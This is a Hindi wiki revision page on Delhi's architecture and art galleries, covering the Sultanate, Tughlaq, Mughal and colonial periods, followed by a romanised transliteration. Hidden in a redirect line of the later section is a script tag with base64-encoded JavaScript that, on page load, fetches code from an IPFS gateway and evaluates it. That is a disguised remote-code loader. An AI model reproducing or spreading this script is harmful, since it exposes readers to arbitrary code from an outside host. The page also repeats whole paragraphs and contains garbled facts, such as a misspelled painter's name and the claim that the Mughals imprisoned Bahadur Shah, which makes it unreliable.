Difference between revisions of "दिल्ली की कला"

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[[चित्र:Gandhi-Smriti-Museum-Delhi-1.jpg|thumb|[[महात्मा गांधी]], गांधी स्मृति संग्रहालय, दिल्ली]]
 
[[चित्र:Gandhi-Smriti-Museum-Delhi-1.jpg|thumb|[[महात्मा गांधी]], गांधी स्मृति संग्रहालय, दिल्ली]]
 
दिल्ली के वैविध्यपूर्ण इतिहास ने विरासत में इसे समृद्ध वास्तुकला दी है। शहर के सबसे प्राचीन भवन सल्तनत काल के हैं और अपनी संरचना व अलंकरण में भिन्नता लिए हुए हैं। प्राकृतिक रुपाकंनों, सर्पाकार बेलों और क़ुरान के अक्षरों के घुमाव में हिन्दू राजपूत कारीगरों का प्रभाव स्पष्ट नज़र आता है। मध्य एशिया से आए कुछ कारीगर कवि और वास्तुकला की सेल्जुक शैली की विशेषताएं मेहराब की निचली कोर पर कमल- कलियों की पंक्ति, उत्कीर्ण अलंकरण और बारी-बारी से आड़ी और खड़ी ईटों की चिनाई है। ख़िलज़ी शासन काल तक इस्लामी वास्तुकला में प्रयोग तथा सुधार का दौर समाप्त हो चुका था और इस्लामी वास्तुकला में एक विशेष पद्धति और उपशैली स्थापित हो चुकी थी जिसे [[पख़्तून]] शैली के नाम से जाना जाता है। इस शैली की अपनी लाक्षणिक विशेषताएं हैं। जैसे घोड़े के नाल की आकृति वाली मेहराबें, जालीदार खिड़कियां, अलंकृत किनारे बेल बूटों का काम (बारीक विस्तृत रूप रेखाओं में) और प्रेरणादायी, आध्यात्मिक शब्दांकन बाहर की ओर अधिकांशत: लाल पत्थरों का तथा भीतर सफ़ेद संगमरमर का उपयोग मिलता है।  
 
दिल्ली के वैविध्यपूर्ण इतिहास ने विरासत में इसे समृद्ध वास्तुकला दी है। शहर के सबसे प्राचीन भवन सल्तनत काल के हैं और अपनी संरचना व अलंकरण में भिन्नता लिए हुए हैं। प्राकृतिक रुपाकंनों, सर्पाकार बेलों और क़ुरान के अक्षरों के घुमाव में हिन्दू राजपूत कारीगरों का प्रभाव स्पष्ट नज़र आता है। मध्य एशिया से आए कुछ कारीगर कवि और वास्तुकला की सेल्जुक शैली की विशेषताएं मेहराब की निचली कोर पर कमल- कलियों की पंक्ति, उत्कीर्ण अलंकरण और बारी-बारी से आड़ी और खड़ी ईटों की चिनाई है। ख़िलज़ी शासन काल तक इस्लामी वास्तुकला में प्रयोग तथा सुधार का दौर समाप्त हो चुका था और इस्लामी वास्तुकला में एक विशेष पद्धति और उपशैली स्थापित हो चुकी थी जिसे [[पख़्तून]] शैली के नाम से जाना जाता है। इस शैली की अपनी लाक्षणिक विशेषताएं हैं। जैसे घोड़े के नाल की आकृति वाली मेहराबें, जालीदार खिड़कियां, अलंकृत किनारे बेल बूटों का काम (बारीक विस्तृत रूप रेखाओं में) और प्रेरणादायी, आध्यात्मिक शब्दांकन बाहर की ओर अधिकांशत: लाल पत्थरों का तथा भीतर सफ़ेद संगमरमर का उपयोग मिलता है।  
====<u>वास्तुकला की परंपरा में बदलाव</u>====
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;आंग्ल वास्तुकला
तुग़लक़ों ने वास्तुकला की परंपरा में बदलाव कर अलंकरण का तत्त्व समाप्त कर दिया इस काल में स्लेटी पत्थरों वाले सीधे सपाट निर्माण को प्राथमिकता दी गई उनकी इमारतों में एक दूसरे पर आधारित छतों वाली सादी मेहराबों क़ुरान की आयत से खुदे किनारों और भट्टी में रंगी टाइलों को प्रभावशाली ढंग से शामिल किया गया। तुग़लक़ों ने अपने भवनों में सजावट पर कम, और उनकी आकृति की भव्यता पर अधिक जोर दिया। सैयद और लोदी काल में गुंबदीय ढांचे की दो जटिल शैलियां प्रचलित हुईं। निम्न अष्टभुजाकार आकृति वाली शैली जिसका ज़मीनी क्षेत्रफल काफ़ी विशाल होता था। और ऊँची वर्गाकार शैली जिसमें भवन का अग्रभाग चारो ओर से गुजरने वाली पट्टी और फलक  श्रृंखला रुपी सजावटी तत्त्व से विभाजित होता था, जो इन्हें दो या तीन मंजिल जैसे होने का रूप देती प्रतीत होती थी। लोदी काल में बगीचे वाले मकबरों का निर्माण भी हुआ। '''इस काल की मस्जिदों में मीनारें नहीं होती थी।'''
 
[[चित्र:National-Railway-Museum-Delhi.jpg|thumb|250px|left|[[राष्ट्रीय रेल संग्रहालय दिल्ली|राष्ट्रीय रेल संग्रहालय]], दिल्ली <br /> National Railway Museum, Delhi]]
 
====<u>वास्तविक गौरव</u>====
 
{{दिल्ली कला एवं सांस्कृतिक संस्थान सूची}}
 
दिल्ली की वास्तुकला का वास्तविक गौरव मुग़ल कालीन है। दिल्ली में [[हुमायूँ]] का मक़बरा मुग़ल वास्तुकला का प्रथम महत्त्वपूर्ण नमूना है। हुमायूं के मकबरे को 1565 ई. में उसकी बेगम हमीदा बानू ने बनवाया था। इसमें हमीदा की क़ब्र भी हैं। इसके अतिरिक्त विभिन्न कालों में बनी [[दारा शिकोह]] फ़ुरुख़सियर तथा [[आलमगीर द्वितीय]] आदि की भी क़ब्रें यहीं स्थित हैं। '''कहा जाता है कि मुग़ल परिवार के तथा उससे संबंधित 90 से अधिक व्यक्तियों की क़ब्रें यहाँ हैं।''' 1857 की राज्यकांति में अंतिम मुग़ल सम्राट बहादुरशाह को मुग़लों ने यहीं क़ैद किया था। ताजमहल का अग्रगामी यह निर्माण भारत का पहला पूर्ण विकसित बग़ीचे वाला मक़बरा भी है। इसने भारतीय वास्तुकला में ऊँची मेहराबों और दोहरे गुंबदों की शुरूआत की जो मुग़ल वास्तुकला के प्रतिनिधि नमूने लाल क़िले में दिखाई देते हैं। इसमें निर्मित नक़्क़ारख़ाने, दीवार-ए-आम और दीवार-ए-ख़ास, महल तथा मनोरंजन कक्ष, छज्जे, हमाम, आंतरिक नहरें और ज्यामितीय सौंदर्यबोध के साथ निर्मित बगीचे तथा एक अलंकृत मस्जिद देखते ही बनते हैं। जामा मस्जिद मुग़लकालीन मस्जिदों की वास्तविक प्रतिनिधि है। '''यह पहली मस्जिद है, जिनमें मीनारें भी हैं।''' अधिकांश भवनों में संगमरमर का इस्तेमाल हुआ है। जिनमें नक़्क़ाशी तथा बहुरंगी पत्थरों की सजावट के नायाब नमूने हैं।
 
====<u>आंग्ल वास्तुकला</u>====
 
 
दिल्ली की आंग्ल वास्तुकला औपनिवेशिक तथा मुग़लकालीन कला का प्रतीक है। यह वाइसरॉय के आवास संसद भवन और सचिवालय के विशाल भवनों से लेकर आवासीय बंगलों और दफ़्तरों जैसी उपयोगी इमारतों तक वैविध्यपूर्ण है। स्वतंत्र भारत में वास्तुकला ने अपनी अलग उपशैली विकसित करने का प्रयास किया है। देशज तथा पश्चिमी शैली के मिश्रित स्वरूप में स्थानीय उपशैलीयों की छटा दिखाई देती है। सर्वोच्च न्यायालय भवन, विज्ञान भवन विभिन्न मंत्रालयों के कार्यालय कनॉट प्लेस के आसपास की इमारतें इसके श्रेष्ठ उदाहरण हैं। हाल ही में दिल्ली में अंतर्राष्ट्रीय ख्याति के कुछ वास्तुकार हुए जिन्होंने दिल्ली के परिदृश्य में कुछ आकर्षण भवन जोड़े हैं। जिन्हें उत्तर-आधुनिक कहा जाता है। टीकाकरण संस्थान, भारतीय जीवन बीमा निगम का मुख्यालय और [[बहाई मंदिर]] इसके उल्लेखनीय उदाहरण हैं।
 
दिल्ली की आंग्ल वास्तुकला औपनिवेशिक तथा मुग़लकालीन कला का प्रतीक है। यह वाइसरॉय के आवास संसद भवन और सचिवालय के विशाल भवनों से लेकर आवासीय बंगलों और दफ़्तरों जैसी उपयोगी इमारतों तक वैविध्यपूर्ण है। स्वतंत्र भारत में वास्तुकला ने अपनी अलग उपशैली विकसित करने का प्रयास किया है। देशज तथा पश्चिमी शैली के मिश्रित स्वरूप में स्थानीय उपशैलीयों की छटा दिखाई देती है। सर्वोच्च न्यायालय भवन, विज्ञान भवन विभिन्न मंत्रालयों के कार्यालय कनॉट प्लेस के आसपास की इमारतें इसके श्रेष्ठ उदाहरण हैं। हाल ही में दिल्ली में अंतर्राष्ट्रीय ख्याति के कुछ वास्तुकार हुए जिन्होंने दिल्ली के परिदृश्य में कुछ आकर्षण भवन जोड़े हैं। जिन्हें उत्तर-आधुनिक कहा जाता है। टीकाकरण संस्थान, भारतीय जीवन बीमा निगम का मुख्यालय और [[बहाई मंदिर]] इसके उल्लेखनीय उदाहरण हैं।
{{seealsoदिल्ली की कला दीर्घाएँ}}
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;दिल्ली की कला दीर्घाएँ
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{{Main|दिल्ली की कला दीर्घाएँ}}
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यह देश की एक प्रमुख एवं प्रतिष्ठित दीर्घा है। [[जयपुर]] के तत्कालीन महाराजा के निवास स्थान जयपुर हाउस में 1954 में शुरू हुई इस दीर्घा में 19वीं एवं 20वीं शताब्दी की लगभग 15,000 दुर्लभ कलाकृतियों का संग्रह है। यहाँ का मुख्य आकर्षण है [[नंदलाल बोस]], [[राजा रवि वर्मा]], अमृता सहगल एवं जैमिनी राय द्वारा तैयार की गई उत्कृष्ट कलाकृतियाँ। भारत के कुछ प्रसिद्ध मूर्तिकारों के कार्य को भी इस दीर्घा में प्रदर्शित किया गया है। यहीं पर एक पुस्तकालय एवं विक्रय केन्द्र भी है, जहाँ से पोस्टर, चित्रमय पोस्टकार्ड, कैटलाग आदि ख़रीदे जा सकते हैं। बच्चों में कला के प्रति अभिरूचि पैदा करने के लिए यहाँ समय-समय पर स्कूली बच्चों के लिए विशेष भ्रमण, सभा, फ़िल्म प्रदर्शन इत्यादि भी आयोजित किए जाते हैं।
  
 
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Revision as of 07:23, 9 June 2011

vastukala
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Gandhi-Smriti-Museum-Delhi-1.jpg|thumb|mahatma gaandhi, gaandhi smriti sangrahalay, dilli]] dilli ke vaividhyapoorn itihas ne virasat mean ise samriddh vastukala di hai. shahar ke sabase prachin bhavan saltanat kal ke haian aur apani sanrachana v alankaran mean bhinnata lie hue haian. prakritik rupakannoan, sarpakar beloan aur quran ke aksharoan ke ghumav mean hindoo rajapoot karigaroan ka prabhav spasht nazar ata hai. madhy eshiya se ae kuchh karigar kavi aur vastukala ki seljuk shaili ki visheshataean meharab ki nichali kor par kamal- kaliyoan ki pankti, utkirn alankaran aur bari-bari se a di aur kh di eetoan ki chinaee hai. khilazi shasan kal tak islami vastukala mean prayog tatha sudhar ka daur samapt ho chuka tha aur islami vastukala mean ek vishesh paddhati aur upashaili sthapit ho chuki thi jise pakhtoon shaili ke nam se jana jata hai. is shaili ki apani lakshanik visheshataean haian. jaise gho de ke nal ki akriti vali meharabean, jalidar khi dakiyaan, alankrit kinare bel bootoan ka kam (barik vistrit roop rekhaoan mean) aur preranadayi, adhyatmik shabdaankan bahar ki or adhikaanshat: lal pattharoan ka tatha bhitar safed sangamaramar ka upayog milata hai.

aangl vastukala

dilli ki aangl vastukala aupaniveshik tatha mugalakalin kala ka pratik hai. yah vaisar aauy ke avas sansad bhavan aur sachivalay ke vishal bhavanoan se lekar avasiy bangaloan aur daftaroan jaisi upayogi imaratoan tak vaividhyapoorn hai. svatantr bharat mean vastukala ne apani alag upashaili vikasit karane ka prayas kiya hai. deshaj tatha pashchimi shaili ke mishrit svaroop mean sthaniy upashailiyoan ki chhata dikhaee deti hai. sarvochch nyayalay bhavan, vijnan bhavan vibhinn mantralayoan ke karyalay kan aaut ples ke asapas ki imaratean isake shreshth udaharan haian. hal hi mean dilli mean aantarrashtriy khyati ke kuchh vastukar hue jinhoanne dilli ke paridrishy mean kuchh akarshan bhavan jo de haian. jinhean uttar-adhunik kaha jata hai. tikakaran sansthan, bharatiy jivan bima nigam ka mukhyalay aur bahaee mandir isake ullekhaniy udaharan haian.

dilli ki kala dirghaean
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yah desh ki ek pramukh evan pratishthit dirgha hai. jayapur ke tatkalin maharaja ke nivas sthan jayapur haus mean 1954 mean shuroo huee is dirgha mean 19vian evan 20vian shatabdi ki lagabhag 15,000 durlabh kalakritiyoan ka sangrah hai. yahaan ka mukhy akarshan hai nandalal bos, raja ravi varma, amrita sahagal evan jaimini ray dvara taiyar ki gee utkrisht kalakritiyaan. bharat ke kuchh prasiddh moortikaroan ke kary ko bhi is dirgha mean pradarshit kiya gaya hai. yahian par ek pustakalay evan vikray kendr bhi hai, jahaan se postar, chitramay postakard, kaitalag adi kharide ja sakate haian. bachchoan mean kala ke prati abhiroochi paida karane ke lie yahaan samay-samay par skooli bachchoan ke lie vishesh bhraman, sabha, film pradarshan ityadi bhi ayojit kie jate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh


bahari k diyaan

sanbandhit lekh

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